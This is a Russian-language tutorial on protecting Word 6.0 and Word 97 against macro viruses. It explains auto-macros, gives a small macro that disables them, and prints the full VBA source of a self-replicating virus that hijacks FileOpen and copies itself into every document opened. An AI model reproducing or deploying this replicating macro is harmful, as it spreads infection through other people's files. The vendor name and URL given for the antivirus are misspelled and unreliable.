Как защититься от макровирусов
Макровирусы обычно пишут школьники в целях самоутверждения. Такие вирусы не делают ничего плохого - они только размножаются на Вашем компьютере. Однако не следует пренебрегать средствами зашиты от макровирусов, так как с помощью WordBasic можно написать вирус, портящий документы Word, или даже форматирующий жесткий диск. Особенность макровирусов состоит в том, что обычные антивирусы их не распознают. Для защиты от макровирусов можно порекомендовать ViruScan фирмы MacCafee. (http://www.macafee.com). Кроме того существует несколько простых способов предотвратить заражение.
В Word 6.0 все макросы хранятся в файлах шаблонов (*.dot) и доступны только при открытом шаблоне. Поскольку при открытии Word автоматически загружает глобальный шаблон Normal.dot, все вирусы стремятся записать себя туда. Поэтому, если Вы работаете в Word 6.0, укажите для файла Normal.dot атрибут "только чтение".
Еще один вариант - при открытии подозрительных документов держать нажатой клавишу shift, чтобы не допустить выполнение автомакросов. Ну и разумеется, если Вы обнаружите в списке макросов имена, начинающиеся на auto - сотрите их немедленно.
В Word97 макросы могут содержаться не только в шаблонах, но и в обычных документах. Как уже упоминалось, для автоматического запуска макроса при том или ином событии макрос должен иметь одно из следующих имен:
- AutoExec - Запускается при старте Word или загрузке глобального шаблона
- AutoNew - Запускается при создании нового документа
- AutoOpen - Запускается при открытии документа
- AutoClose - Запускается при закрытии документа
- AutoExit - Запускается при выходе из Word или при закрытии глобального шаблона.
Конечно можно отменить выполнение таких макросов, нажав клавишу Shift при загрузке Word, а также при открытии, создании и закрытии документов, однако мне такой способ представляется утомительным. Напишем макрос, препятствующий выполнению автомакросов: Sub Autoexec() MsgBox "Не допустим размножения вирусов!" WordBasic.DisableAutoMacros End Sub
Для предотвращения заражения документов макровирусами необходимо хорошо предсталять себе их принцип работы.
Создатели Microsoft Office облегчили задачу злоумышленников тем, что ввели возможность подменять команды Word макрокомандами пользователя. Это значит, что если в Вашем документе есть макрос с именем, скажем, FileOpen, он будет исполняться всякий раз при открытии другого документа.
Особенно уязвимы пользователи Word 97. В старых добрых версиях Word макросы могли храниться только в шаблонах (файлах *.dot). Office'97 позволяет хранить макросы непосредственно в документе - следовательно, возможностей распространения вирусов становится больше.
Рассмотрим вирус, предназначенный для заражения Word-документов. Этот вирус использует служебное имя FileOpen. Процедура FileOpen() выполняется всякий раз, когда пользователь открывает файл и маскируется под обычный диалог Файл->Открыть файл.
Sub FileOpen()
InfectorPath = MacroContainer.Path + "\" + MacroContainer.Name
Rem Переменная InfectorPath определяет путь к документу, содержащему вирус.
Dialogs(wdDialogFileOpen).Show
Rem Имитируется диалог Файл->Открыть файл
Infected = False
For Each VbComponent In ActiveDocument.VBProject.VBComponents
If VbComponent.Name = "Virus" Then Infected = True
Rem Здесь открытый пользователем файл проверяется на наличие вируса
Next
If Not Infected Then
Rem Если файл не заражен, вирус дописывается в файл
CopyMacro ActiveDocument.Path + "\" + ActiveDocument.Name, InfectorPath
End If
End Sub
Public Sub CopyMacro(NewDestination, NewSource)
On Error GoTo nextline
Application.OrganizerCopy Source:= _
NewSource, Destination:=NewDestination, Name:="Virus", Object:= _
WdOrganizerObjectProjectItems
Rem копируем модуль с вирусом
ActiveDocument.Save
Rem сохраняем документ
nextline:
End Sub
Как видите, этот вирус не использует имена автомакросов, и написанный нами выше макрос autoexec() от него не спасет:)
По правде сказать, мне не известен способ защиты от таких вирусов. Единственное, чо можно порекомендовать: просматривайте подозрительные файлы и стирайте обнаруженные макросы с именами типа FileOpen, FileNew, FileSave или FileSaveAs.
